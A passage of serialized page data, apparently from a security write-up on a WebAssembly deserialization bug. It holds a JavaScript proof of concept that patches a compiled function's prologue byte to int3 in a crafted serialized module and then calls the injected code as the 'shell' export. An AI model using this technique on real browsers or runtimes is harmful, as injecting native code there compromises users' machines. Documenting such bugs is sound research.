ag":201,"props":135132,"children":135133},{"style":214},[135134],{"type":31,"value":135135},"join",{"type":25,"tag":201,"props":135137,"children":135138},{"style":220},[135139],{"type":31,"value":298},{"type":25,"tag":201,"props":135141,"children":135142},{"style":267},[135143],{"type":31,"value":135144},"', '",{"type":25,"tag":201,"props":135146,"children":135147},{"style":220},[135148],{"type":31,"value":385},{"type":25,"tag":201,"props":135150,"children":135151},{"style":261},[135152],{"type":31,"value":5886},{"type":25,"tag":201,"props":135154,"children":135155},{"style":267},[135156],{"type":31,"value":135157}," ']'",{"type":25,"tag":201,"props":135159,"children":135160},{"style":220},[135161],{"type":31,"value":308},{"type":25,"tag":34,"props":135163,"children":135164},{},[135165],{"type":31,"value":135166},"This produces the following output:",{"type":25,"tag":191,"props":135168,"children":135170},{"code":135169},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[135171],{"type":25,"tag":115,"props":135172,"children":135173},{"__ignoreMap":7},[135174],{"type":31,"value":135169},{"type":25,"tag":34,"props":135176,"children":135177},{},[135178,135180,135186,135188,135194,135196,135202,135203,135209,135211,135216],{"type":31,"value":135179},"The bytes ",{"type":25,"tag":115,"props":135181,"children":135183},{"className":135182},[],[135184],{"type":31,"value":135185},"85, 72, 137, 229, ...",{"type":31,"value":135187}," correspond to the x86-64 function prologue (",{"type":25,"tag":115,"props":135189,"children":135191},{"className":135190},[],[135192],{"type":31,"value":135193},"push rbp; mov rbp, rsp",{"type":31,"value":135195},"). We replace the first byte with ",{"type":25,"tag":115,"props":135197,"children":135199},{"className":135198},[],[135200],{"type":31,"value":135201},"0xcc",{"type":31,"value":17955},{"type":25,"tag":115,"props":135204,"children":135206},{"className":135205},[],[135207],{"type":31,"value":135208},"int3",{"type":31,"value":135210}," opcode), and use this modified buffer as the serialized input to ",{"type":25,"tag":115,"props":135212,"children":135214},{"className":135213},[],[135215],{"type":31,"value":134014},{"type":31,"value":5997},{"type":25,"tag":191,"props":135218,"children":135220},{"code":135219,"language":36685,"meta":7,"className":36683,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[135221],{"type":25,"tag":115,"props":135222,"children":135223},{"__ignoreMap":7},[135224,135247,135274,135494,135561,135569,135596,135810,136062,136313,136539,136783,137003,137010,137059,137104,137148,137187,137199],{"type":25,"tag":201,"props":135225,"children":135226},{"class":203,"line":204},[135227,135231,135235,135239,135243],{"type":25,"tag":201,"props":135228,"children":135229},{"style":220},[135230],{"type":31,"value":298},{"type":25,"tag":201,"props":135232,"children":135233},{"style":208},[135234],{"type":31,"value":37215},{"type":25,"tag":201,"props":135236,"children":135237},{"style":220},[135238],{"type":31,"value":40767},{"type":25,"tag":201,"props":135240,"children":135241},{"style":208},[135242],{"type":31,"value":390},{"type":25,"tag":201,"props":135244,"children":135245},{"style":220},[135246],{"type":31,"value":327},{"type":25,"tag":201,"props":135248,"children":135249},{"class":203,"line":226},[135250,135254,135258,135262,135266,135270],{"type":25,"tag":201,"props":135251,"children":135252},{"style":208},[135253],{"type":31,"value":37258},{"type":25,"tag":201,"props":135255,"children":135256},{"style":246},[135257],{"type":31,"value":134538},{"type":25,"tag":201,"props":135259,"children":135260},{"style":261},[135261],{"type":31,"value":413},{"type":25,"tag":201,"props":135263,"children":135264},{"style":208},[135265],{"type":31,"value":828},{"type":25,"tag":201,"props":135267,"children":135268},{"style":214},[135269],{"type":31,"value":134551},{"type":25,"tag":201,"props":135271,"children":135272},{"style":220},[135273],{"type":31,"value":134556},{"type":25,"tag":201,"props":135275,"children":135276},{"class":203,"line":278},[135277,135282,135286,135290,135294,135298,135302,135306,135310,135314,135318,135322,135326,135330,135334,135338,135342,135346,135350,135354,135358,135362,135366,135370,135374,135378,135382,135386,135390,135394,135398,135402,135406,135410,135414,135418,135422,135426,135430,135434,135438,135442,135446,135450,135454,135458,135462,135466,135470,135474,135478,135482,135486,135490],{"type":25,"tag":201,"props":135278,"children":135279},{"style":426},[135280],{"type":31,"value":135281},"    0",{"type":25,"tag":201,"props":135283,"children":135284},{"style":220},[135285],{"type":31,"value":919},{"type":25,"tag":201,"props":135287,"children":135288},{"style":426},[135289],{"type":31,"value":134573},{"type":25,"tag":201,"props":135291,"children":135292},{"style":220},[135293],{"type":31,"value":919},{"type":25,"tag":201,"props":135295,"children":135296},{"style":426},[135297],{"type":31,"value":134582},{"type":25,"tag":201,"props":135299,"children":135300},{"style":220},[135301],{"type":31,"value":919},{"type":25,"tag":201,"props":135303,"children":135304},{"style":426},[135305],{"type":31,"value":134591},{"type":25,"tag":201,"props":135307,"children":135308},{"style":220},[135309],{"type":31,"value":919},{"type":25,"tag":201,"props":135311,"children":135312},{"style":426},[135313],{"type":31,"value":5516},{"type":25,"tag":201,"props":135315,"children":135316},{"style":220},[135317],{"type":31,"value":919},{"type":25,"tag":201,"props":135319,"children":135320},{"style":426},[135321],{"type":31,"value":429},{"type":25,"tag":201,"props":135323,"children":135324},{"style":220},[135325],{"type":31,"value":919},{"type":25,"tag":201,"props":135327,"children":135328},{"style":426},[135329],{"type":31,"value":429},{"type":25,"tag":201,"props":135331,"children":135332},{"style":220},[135333],{"type":31,"value":919},{"type":25,"tag":201,"props":135335,"children":135336},{"style":426},[135337],{"type":31,"value":429},{"type":25,"tag":201,"props":135339,"children":135340},{"style":220},[135341],{"type":31,"value":919},{"type":25,"tag":201,"props":135343,"children":135344},{"style":426},[135345],{"type":31,"value":5516},{"type":25,"tag":201,"props":135347,"children":135348},{"style":220},[135349],{"type":31,"value":919},{"type":25,"tag":201,"props":135351,"children":135352},{"style":426},[135353],{"type":31,"value":19025},{"type":25,"tag":201,"props":135355,"children":135356},{"style":220},[135357],{"type":31,"value":919},{"type":25,"tag":201,"props":135359,"children":135360},{"style":426},[135361],{"type":31,"value":5516},{"type":25,"tag":201,"props":135363,"children":135364},{"style":220},[135365],{"type":31,"value":919},{"type":25,"tag":201,"props":135367,"children":135368},{"style":426},[135369],{"type":31,"value":134656},{"type":25,"tag":201,"props":135371,"children":135372},{"style":220},[135373],{"type":31,"value":919},{"type":25,"tag":201,"props":135375,"children":135376},{"style":426},[135377],{"type":31,"value":429},{"type":25,"tag":201,"props":135379,"children":135380},{"style":220},[135381],{"type":31,"value":919},{"type":25,"tag":201,"props":135383,"children":135384},{"style":426},[135385],{"type":31,"value":429},{"type":25,"tag":201,"props":135387,"children":135388},{"style":220},[135389],{"type":31,"value":919},{"type":25,"tag":201,"props":135391,"children":135392},{"style":426},[135393],{"type":31,"value":18792},{"type":25,"tag":201,"props":135395,"children":135396},{"style":220},[135397],{"type":31,"value":919},{"type":25,"tag":201,"props":135399,"children":135400},{"style":426},[135401],{"type":31,"value":4629},{"type":25,"tag":201,"props":135403,"children":135404},{"style":220},[135405],{"type":31,"value":919},{"type":25,"tag":201,"props":135407,"children":135408},{"style":426},[135409],{"type":31,"value":5516},{"type":25,"tag":201,"props":135411,"children":135412},{"style":220},[135413],{"type":31,"value":919},{"type":25,"tag":201,"props":135415,"children":135416},{"style":426},[135417],{"type":31,"value":429},{"type":25,"tag":201,"props":135419,"children":135420},{"style":220},[135421],{"type":31,"value":919},{"type":25,"tag":201,"props":135423,"children":135424},{"style":426},[135425],{"type":31,"value":55749},{"type":25,"tag":201,"props":135427,"children":135428},{"style":220},[135429],{"type":31,"value":919},{"type":25,"tag":201,"props":135431,"children":135432},{"style":426},[135433],{"type":31,"value":56964},{"type":25,"tag":201,"props":135435,"children":135436},{"style":220},[135437],{"type":31,"value":919},{"type":25,"tag":201,"props":135439,"children":135440},{"style":426},[135441],{"type":31,"value":5516},{"type":25,"tag":201,"props":135443,"children":135444},{"style":220},[135445],{"type":31,"value":919},{"type":25,"tag":201,"props":135447,"children":135448},{"style":426},[135449],{"type":31,"value":19606},{"type":25,"tag":201,"props":135451,"children":135452},{"style":220},[135453],{"type":31,"value":919},{"type":25,"tag":201,"props":135455,"children":135456},{"style":426},[135457],{"type":31,"value":134582},{"type":25,"tag":201,"props":135459,"children":135460},{"style":220},[135461],{"type":31,"value":919},{"type":25,"tag":201,"props":135463,"children":135464},{"style":426},[135465],{"type":31,"value":134753},{"type":25,"tag":201,"props":135467,"children":135468},{"style":220},[135469],{"type":31,"value":919},{"type":25,"tag":201,"props":135471,"children":135472},{"style":426},[135473],{"type":31,"value":134762},{"type":25,"tag":201,"props":135475,"children":135476},{"style":220},[135477],{"type":31,"value":919},{"type":25,"tag":201,"props":135479,"children":135480},{"style":426},[135481],{"type":31,"value":134771},{"type":25,"tag":201,"props":135483,"children":135484},{"style":220},[135485],{"type":31,"value":919},{"type":25,"tag":201,"props":135487,"children":135488},{"style":426},[135489],{"type":31,"value":134771},{"type":25,"tag":201,"props":135491,"children":135492},{"style":220},[135493],{"type":31,"value":547},{"type":25,"tag":201,"props":135495,"children":135496},{"class":203,"line":311},[135497,135501,135505,135509,135513,135517,135521,135525,135529,135533,135537,135541,135545,135549,135553,135557],{"type":25,"tag":201,"props":135498,"children":135499},{"style":426},[135500],{"type":31,"value":135281},{"type":25,"tag":201,"props":135502,"children":135503},{"style":220},[135504],{"type":31,"value":919},{"type":25,"tag":201,"props":135506,"children":135507},{"style":426},[135508],{"type":31,"value":429},{"type":25,"tag":201,"props":135510,"children":135511},{"style":220},[135512],{"type":31,"value":919},{"type":25,"tag":201,"props":135514,"children":135515},{"style":426},[135516],{"type":31,"value":90337},{"type":25,"tag":201,"props":135518,"children":135519},{"style":220},[135520],{"type":31,"value":919},{"type":25,"tag":201,"props":135522,"children":135523},{"style":426},[135524],{"type":31,"value":19025},{"type":25,"tag":201,"props":135526,"children":135527},{"style":220},[135528],{"type":31,"value":919},{"type":25,"tag":201,"props":135530,"children":135531},{"style":426},[135532],{"type":31,"value":5516},{"type":25,"tag":201,"props":135534,"children":135535},{"style":220},[135536],{"type":31,"value":919},{"type":25,"tag":201,"props":135538,"children":135539},{"style":426},[135540],{"type":31,"value":4629},{"type":25,"tag":201,"props":135542,"children":135543},{"style":220},[135544],{"type":31,"value":919},{"type":25,"tag":201,"props":135546,"children":135547},{"style":426},[135548],{"type":31,"value":429},{"type":25,"tag":201,"props":135550,"children":135551},{"style":220},[135552],{"type":31,"value":919},{"type":25,"tag":201,"props":135554,"children":135555},{"style":426},[135556],{"type":31,"value":134847},{"type":25,"tag":201,"props":135558,"children":135559},{"style":220},[135560],{"type":31,"value":547},{"type":25,"tag":201,"props":135562,"children":135563},{"class":203,"line":330},[135564],{"type":25,"tag":201,"props":135565,"children":135566},{"style":220},[135567],{"type":31,"value":135568},"  ]);\n",{"type":25,"tag":201,"props":135570,"children":135571},{"class":203,"line":397},[135572,135576,135580,135584,135588,135592],{"type":25,"tag":201,"props":135573,"children":135574},{"style":208},[135575],{"type":31,"value":37258},{"type":25,"tag":201,"props":135577,"children":135578},{"style":246},[135579],{"type":31,"value":126351},{"type":25,"tag":201,"props":135581,"children":135582},{"style":261},[135583],{"type":31,"value":413},{"type":25,"tag":201,"props":135585,"children":135586},{"style":208},[135587],{"type":31,"value":828},{"type":25,"tag":201,"props":135589,"children":135590},{"style":214},[135591],{"type":31,"value":134551},{"type":25,"tag":201,"props":135593,"children":135594},{"style":220},[135595],{"type":31,"value":134556},{"type":25,"tag":201,"props":135597,"children":135598},{"class":203,"line":437},[135599,135604,135608,135612,135616,135621,135625,135630,135634,135639,135643,135648,135652,135657,135661,135666,135670,135675,135679,135684,135688,135692,135696,135700,135704,135709,135713,135718,135722,135726,135730,135734,135738,135742,135746,135750,135754,135758,135762,135766,135770,135774,135778,135782,135786,135790,135794,135798,135802,135806],{"type":25,"tag":201,"props":135600,"children":135601},{"style":426},[135602],{"type":31,"value":135603},"    147",{"type":25,"tag":201,"props":135605,"children":135606},{"style":220},[135607],{"type":31,"value":919},{"type":25,"tag":201,"props":135609,"children":135610},{"style":426},[135611],{"type":31,"value":19918},{"type":25,"tag":201,"props":135613,"children":135614},{"style":220},[135615],{"type":31,"value":919},{"type":25,"tag":201,"props":135617,"children":135618},{"style":426},[135619],{"type":31,"value":135620},"222",{"type":25,"tag":201,"props":135622,"children":135623},{"style":220},[135624],{"type":31,"value":919},{"type":25,"tag":201,"props":135626,"children":135627},{"style":426},[135628],{"type":31,"value":135629},"192",{"type":25,"tag":201,"props":135631,"children":135632},{"style":220},[135633],{"type":31,"value":919},{"type":25,"tag":201,"props":135635,"children":135636},{"style":426},[135637],{"type":31,"value":135638},"20",{"type":25,"tag":201,"props":135640,"children":135641},{"style":220},[135642],{"type":31,"value":919},{"type":25,"tag":201,"props":135644,"children":135645},{"style":426},[135646],{"type":31,"value":135647},"119",{"type":25,"tag":201,"props":135649,"children":135650},{"style":220},[135651],{"type":31,"value":919},{"type":25,"tag":201,"props":135653,"children":135654},{"style":426},[135655],{"type":31,"value":135656},"44",{"type":25,"tag":201,"props":135658,"children":135659},{"style":220},[135660],{"type":31,"value":919},{"type":25,"tag":201,"props":135662,"children":135663},{"style":426},[135664],{"type":31,"value":135665},"43",{"type":25,"tag":201,"props":135667,"children":135668},{"style":220},[135669],{"type":31,"value":919},{"type":25,"tag":201,"props":135671,"children":135672},{"style":426},[135673],{"type":31,"value":135674},"127",{"type":25,"tag":201,"props":135676,"children":135677},{"style":220},[135678],{"type":31,"value":919},{"type":25,"tag":201,"props":135680,"children":135681},{"style":426},[135682],{"type":31,"value":135683},"62",{"type":25,"tag":201,"props":135685,"children":135686},{"style":220},[135687],{"type":31,"value":919},{"type":25,"tag":201,"props":135689,"children":135690},{"style":426},[135691],{"type":31,"value":18792},{"type":25,"tag":201,"props":135693,"children":135694},{"style":220},[135695],{"type":31,"value":919},{"type":25,"tag":201,"props":135697,"children":135698},{"style":426},[135699],{"type":31,"value":429},{"type":25,"tag":201,"props":135701,"children":135702},{"style":220},[135703],{"type":31,"value":919},{"type":25,"tag":201,"props":135705,"children":135706},{"style":426},[135707],{"type":31,"value":135708},"159",{"type":25,"tag":201,"props":135710,"children":135711},{"style":220},[135712],{"type":31,"value":919},{"type":25,"tag":201,"props":135714,"children":135715},{"style":426},[135716],{"type":31,"value":135717},"206",{"type":25,"tag":201,"props":135719,"children":135720},{"style":220},[135721],{"type":31,"value":919},{"type":25,"tag":201,"props":135723,"children":135724},{"style":426},[135725],{"type":31,"value":45225},{"type":25,"tag":201,"props":135727,"children":135728},{"style":220},[135729],{"type":31,"value":919},{"type":25,"tag":201,"props":135731,"children":135732},{"style":426},[135733],{"type":31,"value":135665},{"type":25,"tag":201,"props":135735,"children":135736},{"style":220},[135737],{"type":31,"value":919},{"type":25,"tag":201,"props":135739,"children":135740},{"style":426},[135741],{"type":31,"value":429},{"type":25,"tag":201,"props":135743,"children":135744},{"style":220},[135745],{"type":31,"value":919},{"type":25,"tag":201,"props":135747,"children":135748},{"style":426},[135749],{"type":31,"value":429},{"type":25,"tag":201,"props":135751,"children":135752},{"style":220},[135753],{"type":31,"value":919},{"type":25,"tag":201,"props":135755,"children":135756},{"style":426},[135757],{"type":31,"value":18792},{"type":25,"tag":201,"props":135759,"children":135760},{"style":220},[135761],{"type":31,"value":919},{"type":25,"tag":201,"props":135763,"children":135764},{"style":426},[135765],{"type":31,"value":429},{"type":25,"tag":201,"props":135767,"children":135768},{"style":220},[135769],{"type":31,"value":919},{"type":25,"tag":201,"props":135771,"children":135772},{"style":426},[135773],{"type":31,"value":429},{"type":25,"tag":201,"props":135775,"children":135776},{"style":220},[135777],{"type":31,"value":919},{"type":25,"tag":201,"props":135779,"children":135780},{"style":426},[135781],{"type":31,"value":429},{"type":25,"tag":201,"props":135783,"children":135784},{"style":220},[135785],{"type":31,"value":919},{"type":25,"tag":201,"props":135787,"children":135788},{"style":426},[135789],{"type":31,"value":429},{"type":25,"tag":201,"props":135791,"children":135792},{"style":220},[135793],{"type":31,"value":919},{"type":25,"tag":201,"props":135795,"children":135796},{"style":426},[135797],{"type":31,"value":429},{"type":25,"tag":201,"props":135799,"children":135800},{"style":220},[135801],{"type":31,"value":919},{"type":25,"tag":201,"props":135803,"children":135804},{"style":426},[135805],{"type":31,"value":30906},{"type":25,"tag":201,"props":135807,"children":135808},{"style":220},[135809],{"type":31,"value":547},{"type":25,"tag":201,"props":135811,"children":135812},{"class":203,"line":464},[135813,135817,135821,135825,135829,135833,135837,135841,135845,135849,135853,135857,135861,135865,135869,135873,135877,135881,135885,135889,135893,135897,135901,135905,135909,135913,135917,135921,135925,135929,135933,135937,135941,135945,135949,135954,135958,135962,135966,135970,135974,135978,135982,135986,135990,135994,135998,136002,136006,136010,136014,136018,136022,136026,136030,136034,136038,136042,136046,136050,136054,136058],{"type":25,"tag":201,"props":135814,"children":135815},{"style":426},[135816],{"type":31,"value":135281},{"type":25,"tag":201,"props":135818,"children":135819},{"style":220},[135820],{"type":31,"value":919},{"type":25,"tag":201,"props":135822,"children":135823},{"style":426},[135824],{"type":31,"value":429},{"type":25,"tag":201,"props":135826,"children":135827},{"style":220},[135828],{"type":31,"value":919},{"type":25,"tag":201,"props":135830,"children":135831},{"style":426},[135832],{"type":31,"value":429},{"type":25,"tag":201,"props":135834,"children":135835},{"style":220},[135836],{"type":31,"value":919},{"type":25,"tag":201,"props":135838,"children":135839},{"style":426},[135840],{"type":31,"value":429},{"type":25,"tag":201,"props":135842,"children":135843},{"style":220},[135844],{"type":31,"value":919},{"type":25,"tag":201,"props":135846,"children":135847},{"style":426},[135848],{"type":31,"value":429},{"type":25,"tag":201,"props":135850,"children":135851},{"style":220},[135852],{"type":31,"value":919},{"type":25,"tag":201,"props":135854,"children":135855},{"style":426},[135856],{"type":31,"value":429},{"type":25,"tag":201,"props":135858,"children":135859},{"style":220},[135860],{"type":31,"value":919},{"type":25,"tag":201,"props":135862,"children":135863},{"style":426},[135864],{"type":31,"value":429},{"type":25,"tag":201,"props":135866,"children":135867},{"style":220},[135868],{"type":31,"value":919},{"type":25,"tag":201,"props":135870,"children":135871},{"style":426},[135872],{"type":31,"value":5516},{"type":25,"tag":201,"props":135874,"children":135875},{"style":220},[135876],{"type":31,"value":919},{"type":25,"tag":201,"props":135878,"children":135879},{"style":426},[135880],{"type":31,"value":429},{"type":25,"tag":201,"props":135882,"children":135883},{"style":220},[135884],{"type":31,"value":919},{"type":25,"tag":201,"props":135886,"children":135887},{"style":426},[135888],{"type":31,"value":429},{"type":25,"tag":201,"props":135890,"children":135891},{"style":220},[135892],{"type":31,"value":919},{"type":25,"tag":201,"props":135894,"children":135895},{"style":426},[135896],{"type":31,"value":429},{"type":25,"tag":201,"props":135898,"children":135899},{"style":220},[135900],{"type":31,"value":919},{"type":25,"tag":201,"props":135902,"children":135903},{"style":426},[135904],{"type":31,"value":429},{"type":25,"tag":201,"props":135906,"children":135907},{"style":220},[135908],{"type":31,"value":919},{"type":25,"tag":201,"props":135910,"children":135911},{"style":426},[135912],{"type":31,"value":429},{"type":25,"tag":201,"props":135914,"children":135915},{"style":220},[135916],{"type":31,"value":919},{"type":25,"tag":201,"props":135918,"children":135919},{"style":426},[135920],{"type":31,"value":429},{"type":25,"tag":201,"props":135922,"children":135923},{"style":220},[135924],{"type":31,"value":919},{"type":25,"tag":201,"props":135926,"children":135927},{"style":426},[135928],{"type":31,"value":429},{"type":25,"tag":201,"props":135930,"children":135931},{"style":220},[135932],{"type":31,"value":919},{"type":25,"tag":201,"props":135934,"children":135935},{"style":426},[135936],{"type":31,"value":429},{"type":25,"tag":201,"props":135938,"children":135939},{"style":220},[135940],{"type":31,"value":919},{"type":25,"tag":201,"props":135942,"children":135943},{"style":426},[135944],{"type":31,"value":19025},{"type":25,"tag":201,"props":135946,"children":135947},{"style":220},[135948],{"type":31,"value":919},{"type":25,"tag":201,"props":135950,"children":135951},{"style":426},[135952],{"type":31,"value":135953},"28",{"type":25,"tag":201,"props":135955,"children":135956},{"style":220},[135957],{"type":31,"value":919},{"type":25,"tag":201,"props":135959,"children":135960},{"style":426},[135961],{"type":31,"value":429},{"type":25,"tag":201,"props":135963,"children":135964},{"style":220},[135965],{"type":31,"value":919},{"type":25,"tag":201,"props":135967,"children":135968},{"style":426},[135969],{"type":31,"value":429},{"type":25,"tag":201,"props":135971,"children":135972},{"style":220},[135973],{"type":31,"value":919},{"type":25,"tag":201,"props":135975,"children":135976},{"style":426},[135977],{"type":31,"value":429},{"type":25,"tag":201,"props":135979,"children":135980},{"style":220},[135981],{"type":31,"value":919},{"type":25,"tag":201,"props":135983,"children":135984},{"style":426},[135985],{"type":31,"value":41918},{"type":25,"tag":201,"props":135987,"children":135988},{"style":220},[135989],{"type":31,"value":919},{"type":25,"tag":201,"props":135991,"children":135992},{"style":426},[135993],{"type":31,"value":429},{"type":25,"tag":201,"props":135995,"children":135996},{"style":220},[135997],{"type":31,"value":919},{"type":25,"tag":201,"props":135999,"children":136000},{"style":426},[136001],{"type":31,"value":429},{"type":25,"tag":201,"props":136003,"children":136004},{"style":220},[136005],{"type":31,"value":919},{"type":25,"tag":201,"props":136007,"children":136008},{"style":426},[136009],{"type":31,"value":429},{"type":25,"tag":201,"props":136011,"children":136012},{"style":220},[136013],{"type":31,"value":919},{"type":25,"tag":201,"props":136015,"children":136016},{"style":426},[136017],{"type":31,"value":135953},{"type":25,"tag":201,"props":136019,"children":136020},{"style":220},[136021],{"type":31,"value":919},{"type":25,"tag":201,"props":136023,"children":136024},{"style":426},[136025],{"type":31,"value":429},{"type":25,"tag":201,"props":136027,"children":136028},{"style":220},[136029],{"type":31,"value":919},{"type":25,"tag":201,"props":136031,"children":136032},{"style":426},[136033],{"type":31,"value":429},{"type":25,"tag":201,"props":136035,"children":136036},{"style":220},[136037],{"type":31,"value":919},{"type":25,"tag":201,"props":136039,"children":136040},{"style":426},[136041],{"type":31,"value":429},{"type":25,"tag":201,"props":136043,"children":136044},{"style":220},[136045],{"type":31,"value":919},{"type":25,"tag":201,"props":136047,"children":136048},{"style":426},[136049],{"type":31,"value":135953},{"type":25,"tag":201,"props":136051,"children":136052},{"style":220},[136053],{"type":31,"value":919},{"type":25,"tag":201,"props":136055,"children":136056},{"style":426},[136057],{"type":31,"value":429},{"type":25,"tag":201,"props":136059,"children":136060},{"style":220},[136061],{"type":31,"value":547},{"type":25,"tag":201,"props":136063,"children":136064},{"class":203,"line":490},[136065,136069,136073,136077,136081,136085,136089,136093,136097,136101,136105,136109,136113,136117,136121,136125,136129,136133,136137,136141,136145,136149,136153,136157,136161,136165,136169,136173,136177,136181,136185,136189,136193,136197,136201,136205,136209,136213,136217,136221,136225,136229,136233,136237,136241,136245,136249,136253,136257,136261,136265,136269,136273,136277,136281,136285,136289,136293,136297,136301,136305,136309],{"type":25,"tag":201,"props":136066,"children":136067},{"style":426},[136068],{"type":31,"value":135281},{"type":25,"tag":201,"props":136070,"children":136071},{"style":220},[136072],{"type":31,"value":919},{"type":25,"tag":201,"props":136074,"children":136075},{"style":426},[136076],{"type":31,"value":429},{"type":25,"tag":201,"props":136078,"children":136079},{"style":220},[136080],{"type":31,"value":919},{"type":25,"tag":201,"props":136082,"children":136083},{"style":426},[136084],{"type":31,"value":135953},{"type":25,"tag":201,"props":136086,"children":136087},{"style":220},[136088],{"type":31,"value":919},{"type":25,"tag":201,"props":136090,"children":136091},{"style":426},[136092],{"type":31,"value":429},{"type":25,"tag":201,"props":136094,"children":136095},{"style":220},[136096],{"type":31,"value":919},{"type":25,"tag":201,"props":136098,"children":136099},{"style":426},[136100],{"type":31,"value":429},{"type":25,"tag":201,"props":136102,"children":136103},{"style":220},[136104],{"type":31,"value":919},{"type":25,"tag":201,"props":136106,"children":136107},{"style":426},[136108],{"type":31,"value":429},{"type":25,"tag":201,"props":136110,"children":136111},{"style":220},[136112],{"type":31,"value":919},{"type":25,"tag":201,"props":136114,"children":136115},{"style":426},[136116],{"type":31,"value":19025},{"type":25,"tag":201,"props":136118,"children":136119},{"style":220},[136120],{"type":31,"value":919},{"type":25,"tag":201,"props":136122,"children":136123},{"style":426},[136124],{"type":31,"value":429},{"type":25,"tag":201,"props":136126,"children":136127},{"style":220},[136128],{"type":31,"value":919},{"type":25,"tag":201,"props":136130,"children":136131},{"style":426},[136132],{"type":31,"value":429},{"type":25,"tag":201,"props":136134,"children":136135},{"style":220},[136136],{"type":31,"value":919},{"type":25,"tag":201,"props":136138,"children":136139},{"style":426},[136140],{"type":31,"value":429},{"type":25,"tag":201,"props":136142,"children":136143},{"style":220},[136144],{"type":31,"value":919},{"type":25,"tag":201,"props":136146,"children":136147},{"style":426},[136148],{"type":31,"value":429},{"type":25,"tag":201,"props":136150,"children":136151},{"style":220},[136152],{"type":31,"value":919},{"type":25,"tag":201,"props":136154,"children":136155},{"style":426},[136156],{"type":31,"value":429},{"type":25,"tag":201,"props":136158,"children":136159},{"style":220},[136160],{"type":31,"value":919},{"type":25,"tag":201,"props":136162,"children":136163},{"style":426},[136164],{"type":31,"value":429},{"type":25,"tag":201,"props":136166,"children":136167},{"style":220},[136168],{"type":31,"value":919},{"type":25,"tag":201,"props":136170,"children":136171},{"style":426},[136172],{"type":31,"value":429},{"type":25,"tag":201,"props":136174,"children":136175},{"style":220},[136176],{"type":31,"value":919},{"type":25,"tag":201,"props":136178,"children":136179},{"style":426},[136180],{"type":31,"value":429},{"type":25,"tag":201,"props":136182,"children":136183},{"style":220},[136184],{"type":31,"value":919},{"type":25,"tag":201,"props":136186,"children":136187},{"style":426},[136188],{"type":31,"value":429},{"type":25,"tag":201,"props":136190,"children":136191},{"style":220},[136192],{"type":31,"value":919},{"type":25,"tag":201,"props":136194,"children":136195},{"style":426},[136196],{"type":31,"value":429},{"type":25,"tag":201,"props":136198,"children":136199},{"style":220},[136200],{"type":31,"value":919},{"type":25,"tag":201,"props":136202,"children":136203},{"style":426},[136204],{"type":31,"value":429},{"type":25,"tag":201,"props":136206,"children":136207},{"style":220},[136208],{"type":31,"value":919},{"type":25,"tag":201,"props":136210,"children":136211},{"style":426},[136212],{"type":31,"value":30906},{"type":25,"tag":201,"props":136214,"children":136215},{"style":220},[136216],{"type":31,"value":919},{"type":25,"tag":201,"props":136218,"children":136219},{"style":426},[136220],{"type":31,"value":429},{"type":25,"tag":201,"props":136222,"children":136223},{"style":220},[136224],{"type":31,"value":919},{"type":25,"tag":201,"props":136226,"children":136227},{"style":426},[136228],{"type":31,"value":429},{"type":25,"tag":201,"props":136230,"children":136231},{"style":220},[136232],{"type":31,"value":919},{"type":25,"tag":201,"props":136234,"children":136235},{"style":426},[136236],{"type":31,"value":429},{"type":25,"tag":201,"props":136238,"children":136239},{"style":220},[136240],{"type":31,"value":919},{"type":25,"tag":201,"props":136242,"children":136243},{"style":426},[136244],{"type":31,"value":429},{"type":25,"tag":201,"props":136246,"children":136247},{"style":220},[136248],{"type":31,"value":919},{"type":25,"tag":201,"props":136250,"children":136251},{"style":426},[136252],{"type":31,"value":429},{"type":25,"tag":201,"props":136254,"children":136255},{"style":220},[136256],{"type":31,"value":919},{"type":25,"tag":201,"props":136258,"children":136259},{"style":426},[136260],{"type":31,"value":429},{"type":25,"tag":201,"props":136262,"children":136263},{"style":220},[136264],{"type":31,"value":919},{"type":25,"tag":201,"props":136266,"children":136267},{"style":426},[136268],{"type":31,"value":429},{"type":25,"tag":201,"props":136270,"children":136271},{"style":220},[136272],{"type":31,"value":919},{"type":25,"tag":201,"props":136274,"children":136275},{"style":426},[136276],{"type":31,"value":429},{"typ